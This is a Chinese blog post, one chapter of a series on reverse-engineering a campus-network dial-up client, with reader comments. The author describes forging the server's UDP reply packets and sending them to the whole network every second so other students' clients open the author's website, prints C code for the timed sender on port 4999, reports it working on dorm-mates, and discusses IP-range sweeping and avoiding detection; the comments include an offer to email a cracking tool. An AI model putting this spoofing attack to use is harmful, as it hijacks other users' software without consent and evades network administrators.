您现在的位置: Tracy‘Blog > 博客 > 黑人黑事 > 正文
校园网那些事(十)
Chapter 7——广播?模拟广播

       通过前面的努力,也就实现了整个对客户端大多数秘密的探索。不过,上章中,我们实现了数据包生成,并且,对自己的去掉了时间校验的客户端发送,虽然成功了,可似乎不能说明什么,只能说找到了他的实现原理罢了~

       那,我们再来分析分析吧,在用客户端拨号上网的过程中,整个客户端与服务器的交流过程应该是这个样子的:(YY的,不过貌似每次YY的结果都是正确的)

引用:
       1、 客户端把密码解密成真实的拨号密码,传递给rasdial
       2、 由rasdial函数拨号,并在内存中记录拨号成功的时间
       3、 客户端发送一个数据包给服务器,用于查询拨号账号剩余使用时长(其实,这也是一个突破口,可以对服务器下手,构造各种查询数据包,看返回结果,说不定还能直接返回用户密码呢。当然,这也是yy)
       4、 服务器返回一个数据包给客户端,告诉客户端,你的剩余使用时长时多少等等之类
       5、 客户端接受到数据包,进行解析,而后,根据数据包内容进行相应操作
       额,大概就是这样了。那,我们现在的目的是:让每个拨号上网的人都弹出我想要弹出的内容和网站。

那我们可以从哪些方面入手呢?
       1、改所有的路由器,加条路由,把默认的服务器ip跳转到我的电脑上。(那就是每次都有一个数据包发送到我这里,然后我再返回一个能让他打开的网站的数据包),等等,这个问题我以前没有想到,不过现在一分析,发现,也是不很有效~拿下所有路由器,似乎有点~~~此外,我们忘了一件事,也是我前面强调的,可却说错了的事情:时间是应该是本地拨号上网的时间,不应该是服务器返回过来的。因为,这个通信过程中,客户端先发了一个包含时间的数据包给服务器的~如果没记错的话。
       2、24小时不停的对所有的ip地址发UDP数据包,只要他一拨号,就能收到我发出的恶意数据包,然后打开我的网站。那,时间呢?怎么控制?这样吧,每秒钟生成一个数据包,然后把它广播出去。这样子就可以绕过时间限制,以及解决被动发送数据包的问题了。
       当然,你还可以想象,在路由器上截获(其实,以前在一家公司做流量探针就是这原理,过一遍所有要传输出去的流量,然后,把需要的信息记录下来),所有发送出去的数据包,然后对应其中的时间,构造数据包返回~

       不过,除了第二条有可行性外,其余所有的都是yy的。前提是拿到路由器的控制权。
       那,就来实现第二条的功能吧:
       也就是在上一章实现的基础上添加一个时间触发功能,如下:

代码:
int time_tri()  //时间触发,在这个函数里面调用其他函数
{
  unsigned long dwStart;
  unsigned long dwEnd;
  int iCount=0;
  do  
  {
    dwStart = GetTickCount();
    do
    {
      dwEnd = GetTickCount()-dwStart;
    }while(dwEnd <1000);     iCount++;     printf("这是第%d次执行\n",iCount);     for (INT i=0;i<500;i++)     {       msg_in[i]=message[i];     }     memset(msg_in, 0, sizeof(msg_in));    //清空msg_in[500]   }while(1);   return 0; } 
       而后就是UDP数据包的发送了,如下:
代码:
void SendtoMsg(char *mmsg,int N)     //UDP数据包发送模块,将上面生成的构造好了的数据包发送出去
{
  SOCKET fd;
  int len,i = 0,j = 0;
  unsigned int a = 0;
  char szTmp[32] = {0};
  WSADATA        wsd;  
  if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
  {
    printf("WSAStartup failed!\n");
    return;
  }
  struct sockaddr_in servaddr;
  struct _msg
  {
    char a[500];
  }message;
#define NIPQUAD_FMT  "%u.%u.%u.%u"
#define NIPQUAD(addr) \
  ((unsigned char *)&addr)[0], \
  ((unsigned char *)&addr)[1], \
  ((unsigned char *)&addr)[2], \
  ((unsigned char *)&addr)[3]

  char *sz_start_addr;
  char *sz_end_addr;
  sz_start_addr = buff1;
  sz_end_addr = buff2;
  unsigned int a1 = inet_addr(sz_ip_addr);
  i = 0;
  while(i != N)
  {
    message.a[i] = mmsg[i];
    i++;
  }
  
  len = sizeof(servaddr);
  if((fd = socket(AF_INET,SOCK_DGRAM,0)) < 0)   {     perror("fail to create socket");     return ;   }   servaddr.sin_family = AF_INET;   servaddr.sin_port = htons(atoi("4999"));   a = htonl(a1);   _snprintf(szTmp, sizeof(szTmp)-1,NIPQUAD_FMT, NIPQUAD(a));   servaddr.sin_addr.s_addr = inet_addr(szTmp);   sendto(fd,(const char*)&message,lent,0,(struct sockaddr *)&servaddr,len);   closesocket(fd);    //关闭套接字       WSACleanup();    //释放套接字资源   return ; } 
 
       也就是说,我们每隔一秒钟,对整个网络广播一个数据包出去,从而来解决时间限制。

       之后试了下,发现,对整个网络广播数据包还是可行的,我们寝室的几个哥们都成功的弹出了我的信息,不过呢,我再跑到别的寝室去试试,发现~不可行了~

       那,问题在哪?

       还是前面在搭建pppoe服务器的时候的问题,广播数据是不能穿过路由器的,所以~我得改变方案啊,既然它不让广播,那我就模拟广播吧。如果能够拿下路由器,可以在其中找到自己接入的端口,开放广播功能。
       
       在上面的发送代码中,加上一个ip地址段,也即是,循环对这个ip地址段发送数据包。每秒发送一次,这个貌似能够实现对特定的ip打开我的网页,不过,效率太低,ip段过大的话,很容易造成网卡吃不消,丢包等等现象,而且,只要网管一分析,你的ip一直在对外发送数据包,也就很容易找到你了。

       文章写道这,也就算完了,我也没再继续往里钻了,1是感觉没什么可以再去探究了,2是时间不够我毕业了。

       so,还差一篇总结~
发表评论(3)
1楼 Fairy  发表于  2013-11-27 20:30:07
谢谢博主,邮箱是:crackth@163.com 麻烦了。
2楼 Fairy  发表于  2013-11-26 19:46:42
客户端的version是2.1.7。可以告知下联系方式吗?谢谢。
[博主回复]  没有研究过那个版本的客户端,如果一样的话,你可以留下邮箱我发一个工具给你,不过,我不保证可用~
3楼 Fairy  发表于  2013-11-21 22:55:40
请问下博主,430602这个密码的明文是多少,请问告知下吗?谢谢您。。
[博主回复]  我对你的客户端、环境,一无所知,我怎么能直接知道明文密码是多少呢?
姓名 *
电子邮件
QQ
评论内容 *
验证码 *图片看不清?点击重新得到验证码请输入图片后链接字符‘a’